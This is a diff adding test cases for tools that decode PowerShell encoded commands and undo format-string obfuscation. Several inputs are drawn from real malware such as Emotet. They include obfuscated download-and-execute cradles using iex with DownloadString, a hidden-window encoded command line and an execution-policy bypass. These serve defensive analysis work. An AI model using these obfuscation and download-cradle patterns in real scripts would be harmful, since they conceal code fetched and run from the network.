"input": "UwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBTAGMAbwBwAGUAIABQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUA",
"expectedOutput": "Set-ExecutionPolicy Bypass -Scope Process -Force",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: full cmdline with -nop -w hidden flags",
"input": "powershell.exe -nop -w hidden -noni -enc RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==",
"expectedOutput": "Get-Process",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: -ec abbreviated flag",
"input": "-ec JABlAG4AdgA6AEMATwBNAFAAVQBUAEUAUgBOAEEATQBFAA==",
"expectedOutput": "$env:COMPUTERNAME",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: token with surrounding double-quotes stripped",
"input": "-enc \"RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==\"",
"expectedOutput": "Get-Process",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
}
]);

View File

@ -0,0 +1,222 @@
/**
* PowerShell Format String Deobfuscate tests
*
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import TestRegister from "../../lib/TestRegister.mjs";
TestRegister.addTests([
{
"name": "PowerShell Format String Deobfuscate: canonical reordered example",
"input": "(\"{0}{3}{4}{1}{2}\" -f \"S\",\"Mo\",\"de\",\"et-Stri\",\"ct\")",
"expectedOutput": "Set-StrictMode",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: identity ordering (no scrambling)",
"input": "(\"{0}{1}{2}\" -f \"New\",\"-\",\"Object\")",
"expectedOutput": "New-Object",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: single argument",
"input": "(\"{0}\" -f \"hello\")",
"expectedOutput": "hello",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: two expressions on the same line",
"input": "(\"{0}{1}\" -f \"Invoke\",\"-Expression\") + (\"{1}{0}\" -f \"Shell\",\"Power\")",
"expectedOutput": "Invoke-Expression + PowerShell",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: embedded in a larger script",
"input": "$x = (\"{1}{0}\" -f \"Object\",\"New-\"); $x.GetType()",
"expectedOutput": "$x = New-Object; $x.GetType()",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: single-quoted template",
"input": "('{0}{1}' -f \"foo\",\"bar\")",
"expectedOutput": "foobar",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: single-quoted arguments",
"input": "(\"{0}{1}\" -f 'foo','bar')",
"expectedOutput": "foobar",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: all single quotes",
"input": "('{1}{0}' -f 'World','Hello')",
"expectedOutput": "HelloWorld",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: extra whitespace around -f and args",
"input": "( \"{0}{1}\" -f \"abc\" , \"def\" )",
"expectedOutput": "abcdef",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: spaces inside argument values",
"input": "(\"{0} {1}\" -f \"Hello\",\"World\")",
"expectedOutput": "Hello World",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: comma inside a quoted argument value",
"input": "(\"{0}{1}\" -f \"hello, world\",\"!\")",
"expectedOutput": "hello, world!",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: literal text between placeholders",
"input": "(\"{0} ran {1}\" -f \"PowerShell\",\"successfully\")",
"expectedOutput": "PowerShell ran successfully",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: repeated index",
"input": "(\"{0}{0}{0}\" -f \"abc\")",
"expectedOutput": "abcabcabc",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: out-of-range index left unchanged",
"input": "(\"{0}{5}\" -f \"a\",\"b\",\"c\")",
"expectedOutput": "a{5}",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: no format strings — input passes through unchanged",
"input": "$x = \"hello\"\nWrite-Host $x",
"expectedOutput": "$x = \"hello\"\nWrite-Host $x",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: empty input",
"input": "",
"expectedOutput": "",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: multiline input with expressions on different lines",
"input": "(\"{1}{0}\" -f \"Object\",\"New-\")\n(\"{0}{1}\" -f \"Invoke\",\"-Expression\")\n$plain = \"untouched\"",
"expectedOutput": "New-Object\nInvoke-Expression\n$plain = \"untouched\"",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: special characters in arguments (dollar, dot, backslash)",
"input": "(\"{0}{1}{2}\" -f \"C:\\\\Windows\",\"\\\\\",\"System32\")",
"expectedOutput": "C:\\\\Windows\\\\System32",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: five-arg scramble (malware-like)",
"input": "(\"{3}{1}{4}{0}{2}\" -f \"ial\",\"Cred\",\"s\",\"Get-\",\"ent\")",
"expectedOutput": "Get-Credentials",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: mixed with non-matching parenthetical expressions",
"input": "if ($x -gt 5) { (\"{1}{0}\" -f \"host\",\"Write-\") }",
"expectedOutput": "if ($x -gt 5) { Write-host }",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: large index values",
"input": "(\"{2}{0}{1}\" -f \"b\",\"c\",\"a\")",
"expectedOutput": "abc",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: single character fragments",
"input": "(\"{2}{0}{1}\" -f \"e\",\"t\",\"s\")",
"expectedOutput": "set",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: ten-fragment highly scrambled string",
"input": "(\"{5}{3}{0}{7}{1}{6}{2}{9}{4}{8}\" -f \"l\",\"o\",\"o\",\"e\",\"l\",\"h\",\"w\",\"l\",\"d\",\"r\")",
"expectedOutput": "helloworld",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: IEX obfuscation pattern",
"input": "$cmd = (\"{1}{0}{2}\" -f \"x\",\"IE\",\"\")\n& $cmd (\"{0}{1}\" -f \"Get-\",\"Process\")",
"expectedOutput": "$cmd = IEx\n& $cmd Get-Process",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
// ── OSINT samples from real-world malware ─────────────────────────────────
// Source: Emotet dropper (Softscheck / gist softSCheck)
{
"name": "PowerShell Format String Deobfuscate: Emotet - new-object (single-quoted args, no space before -f)",
"input": "(\"{0}{2}{1}\" -f'new-ob','t','jec')",
"expectedOutput": "new-object",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: Emotet - WScript.Shell (zero spaces around -f)",
"input": "(\"{0}{1}{2}\"-f'WScrip','t.Shel','l')",
"expectedOutput": "WScript.Shell",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: Emotet - DownloadFile (four scrambled fragments)",
"input": "(\"{0}{3}{1}{2}\"-f'Down','F','ile','load')",
"expectedOutput": "DownloadFile",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: Emotet - Start-Process (four fragments)",
"input": "(\"{0}{2}{1}{3}\" -f 'St','s','art-Proce','s')",
"expectedOutput": "Start-Process",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: Emotet - write-host (four scrambled fragments)",
"input": "(\"{3}{2}{0}{1}\" -f'e-','host','rit','w')",
"expectedOutput": "write-host",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
{
"name": "PowerShell Format String Deobfuscate: Emotet - download cradle (two expressions on one line)",
"input": "$wc = (\"{2}{0}{1}\"-f 'ob','ject','new-'); $wc.(\"{0}{3}{1}{2}\"-f'Down','F','ile','load')($url, $path)",
"expectedOutput": "$wc = new-object; $wc.DownloadFile($url, $path)",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
// Source: Malicious Word doc (MalSecHunter, 2020)
{
"name": "PowerShell Format String Deobfuscate: MalSecHunter 2020 - New-Variable with mixed casing",
"input": "(\"{1}{3}{0}{2}\" -f 'VaRi','nE','aBlE','w-')",
"expectedOutput": "nEw-VaRiaBlE",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
// Source: r00t-3xp10it obfuscation guide (GitHub)
{
"name": "PowerShell Format String Deobfuscate: r00t-3xp10it - Invoke-Expression (five fragments)",
"input": "(\"{3}{0}{2}{1}{4}\" -f'voke','es','-Expr','In','sion')",
"expectedOutput": "Invoke-Expression",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
// Source: ANY.RUN sandbox report (Feb 2019 Excel macro dropper)
{
"name": "PowerShell Format String Deobfuscate: ANY.RUN 2019 - ENvIRoNmeNt ([Type] cast target)",
"input": "(\"{1}{0}{2}\" -f'vI','EN','RoNmeNt')",
"expectedOutput": "ENvIRoNmeNt",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
},
// Source: Generic IEX download cradle (common commodity malware pattern)
{
"name": "PowerShell Format String Deobfuscate: IEX download cradle (three reconstructed strings)",
"input": "(\"{1}{0}\" -f 'ex','i') ((\"{2}{0}{1}\" -f '-Ob','ject','New') Net.WebClient).(\"{0}{1}{2}{3}{4}\" -f 'Down','lo','ad','Str','ing')($url)",
"expectedOutput": "iex (New-Object Net.WebClient).DownloadString($url)",
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
}
]);